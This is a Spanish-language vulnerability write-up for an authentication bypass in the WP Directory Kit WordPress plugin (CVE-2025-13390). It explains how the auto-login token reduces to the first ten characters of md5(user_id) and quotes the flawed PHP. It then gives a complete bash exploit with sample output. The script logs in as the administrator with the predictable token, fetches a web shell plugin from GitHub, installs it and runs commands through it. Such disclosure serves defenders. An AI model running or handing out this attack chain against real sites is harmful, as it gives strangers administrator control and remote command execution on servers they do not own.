
WP Directory Kit <= 1.4.4 - Omisión de autenticación para escalada de privilegios mediante apropiación de cuenta
El plugin WP Directory Kit para WordPress versión 1.4.4 y anteriores contiene una omisión de autenticación en su funcionalidad de inicio de sesión automático. La vulnerabilidad permite a atacantes no autenticados obtener acceso administrativo a sitios WordPress mediante la explotación de un mecanismo de generación de tokens criptográficamente deficiente. La función de inicio de sesión automático no se puede desactivar y utiliza un token predecible derivado únicamente del hash MD5 del ID de usuario.
El archivo CVE-2025-13390.sh sube un plugin de web shell a un sitio objetivo asumiendo que el ID de usuario 1 es un administrador.
./CVE-2025-13390.sh
[*] Step 1: Auto-login and save cookies...
[+] Auto-login successful
[*] Step 2: Getting nonce from plugin-install.php...
[+] Install Nonce: a2c0ae384b
[*] Step 3: Downloading plugin from GitHub...
[*] Step 4: Extracting and repackaging plugin (WordPress needs plugin dir at ZIP root)...
[+] Plugin repackaged
[*] Step 5: Uploading plugin...
[+] Plugin installed successfully
[*] Step 6: Testing webshell...
[*] Making request to: http://techcorp.cc/wp-content/plugins/wp_webshell/wp_webshell.php?cmd=id
[+] Webshell is accessible!
[+] Response:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[*] Cleanup complete
El plugin WP Directory Kit implementa una función de inicio de sesión automático que permite a los usuarios autenticarse sin introducir credenciales visitando una URL que contiene los parámetros user_id y token. Esta función está pensada para escenarios de inicio de sesión sin contraseña, como cuando se crean nuevos usuarios automáticamente y se les envían enlaces de inicio de sesión por correo electrónico.
La vulnerabilidad reside en la lógica de generación y validación de tokens, ubicada en dos archivos:
application/helpers/Basic.php:5132-5137):function wdk_generate_auto_login_link( $user_id = null ) {
$token = substr(md5($user_id).NONCE_KEY.'wpdirectorykit',0,10);
$login_url = site_url( "/?auto-login=1&user_id={$user_id}&token={$token}" );
return $login_url;
}
actions.php:116-130):add_action( 'init', function () {
if (substr_count($_SERVER['REQUEST_URI'], 'auto-login') && isset( $_GET['user_id'], $_GET['token'] ) ) {
$user_id = (int) $_GET['user_id'];
$token = sanitize_text_field( $_GET['token'] );
if ( $token == substr(md5($user_id).NONCE_KEY.'wpdirectorykit',0,10)) {
wp_set_auth_cookie( $user_id );
wp_redirect( home_url() );
exit;
} else {
wp_die( 'Wrong token.' );
}
}
});
La generación del token contiene un fallo criptográfico crítico. El código intenta crear un token mediante:
md5($user_id), lo que produce una cadena hexadecimal de 32 caracteresNONCE_KEY (una constante de WordPress, normalmente de 64 caracteres)'wpdirectorykit'substr(..., 0, 10)Dado que md5($user_id) tiene 32 caracteres y la función solo toma los primeros 10, el token se convierte simplemente en los primeros 10 caracteres del hash md5.
substr(md5($user_id), 0, 10)
Por ejemplo, para user_id = 1:
md5(1) = "c4ca4238a0b923820dcc509a6f75849b" (32 caracteres hexadecimales)substr(md5(1).NONCE_KEY.'wpdirectorykit', 0, 10) = "c4ca4238a0" (solo los primeros 10 caracteres del MD5)La constante NONCE_KEY, que se supone que proporciona seguridad criptográfica, es completamente irrelevante porque aparece después de los primeros 10 caracteres del hash MD5.
Nota: En las instalaciones de WordPress, el primer usuario creado (con user_id = 1) casi siempre es un administrador. Otros IDs de usuario administrativos podrían enumerarse y usarse en su lugar si fuera necesario.
La funcionalidad de inicio de sesión automático está incrustada de forma fija en el archivo actions.php del plugin y siempre está activa cuando el plugin está habilitado. No existe ninguna opción o ajuste de configuración para desactivar esta función. Los enlaces de inicio de sesión automático se generan y se envían en las plantillas de correo electrónico (ver application/views/email/new_user_auto_created.php:55), pero el endpoint en sí siempre es accesible, independientemente de los ajustes de correo.
Cuando un atacante envía una solicitud al endpoint de inicio de sesión automático con un token válido (por ejemplo, /?auto-login=1&user_id=1&token=c4ca4238a0), el código vulnerable en actions.php:123 llama a la función wp_set_auth_cookie() de WordPress. Esta función establece una sesión autenticada al fijar las cookies de autenticación de WordPress en la respuesta HTTP. Estas cookies incluyen:
wordpress_logged_in_[hash] - Contiene el ID de usuario y la información de autenticaciónwordpress_[hash] - Contiene la cookie de autenticación para el área de administraciónUna vez que estas cookies están establecidas, el navegador (o script) del atacante se trata como una sesión autenticada para el usuario especificado.
Con estas cookies administrativas, el atacante puede instalar plugins maliciosos, crear usuarios administrativos, lo que resulta en el compromiso total del sitio.
El siguiente script demuestra una cadena de ataque completa que explota la vulnerabilidad de inicio de sesión automático para obtener acceso administrativo e instalar una web shell:
#!/bin/bash
TARGET="https://examplesite.com"
echo "[*] Step 1: Auto-login and save cookies..."
curl -s -L -c /tmp/wdk_cookies.txt "$TARGET/?auto-login=1&user_id=1&token=c4ca4238a0" > /dev/null
echo "[+] Auto-login successful"
echo "[*] Step 2: Getting nonce from plugin-install.php..."
INSTALL_NONCE=$(curl -s -b /tmp/wdk_cookies.txt "$TARGET/wp-admin/plugin-install.php" | grep -oP 'name="_wpnonce" value="\K[^"]+' | head -1)
echo "[+] Install Nonce: $INSTALL_NONCE"
echo "[*] Step 3: Downloading plugin from GitHub..."
curl -s -L "https://github.com/XK3NF4/webshell-plugin-wordpress/archive/refs/heads/main.zip" -o /tmp/webshell_github.zip
echo "[*] Step 4: Extracting and repackaging plugin (WordPress needs plugin dir at ZIP root)..."
cd /tmp
unzip -q -o webshell_github.zip
# The GitHub ZIP has: webshell-plugin-wordpress-main/wp_webshell/
# WordPress needs: wp_webshell/ at the root
cd webshell-plugin-wordpress-main
zip -q -r /tmp/webshell.zip wp_webshell/
cd /tmp
rm -rf webshell-plugin-wordpress-main webshell_github.zip
echo "[+] Plugin repackaged"
echo "[*] Step 5: Uploading plugin..."
UPLOAD_RESPONSE=$(curl -s -L -b /tmp/wdk_cookies.txt -c /tmp/wdk_cookies.txt \
-F "_wpnonce=$INSTALL_NONCE" \
-F "pluginzip=@/tmp/webshell.zip" \
-F "install-plugin-submit=Install Now" \
"$TARGET/wp-admin/update.php?action=upload-plugin")
if echo "$UPLOAD_RESPONSE" | grep -qi "installed successfully\|Plugin installed"; then
echo "[+] Plugin installed successfully"
else
echo "[-] Installation may have failed. Checking response..."
echo "$UPLOAD_RESPONSE" | grep -i "error\|fail" | head -5
fi
echo "[*] Step 6: Testing webshell..."
WEBSHELL_URL="$TARGET/wp-content/plugins/wp_webshell/wp_webshell.php?cmd=id"
echo "[*] Making request to: $WEBSHELL_URL"
WEBSHELL_RESPONSE=$(curl -s "$WEBSHELL_URL")
if [ -n "$WEBSHELL_RESPONSE" ]; then
echo "[+] Webshell is accessible!"
echo "[+] Response:"
echo "$WEBSHELL_RESPONSE"
else
echo "[-] Webshell may not be accessible or returned empty response"
fi
# Cleanup
rm -f /tmp/webshell.zip
echo "[*] Cleanup complete"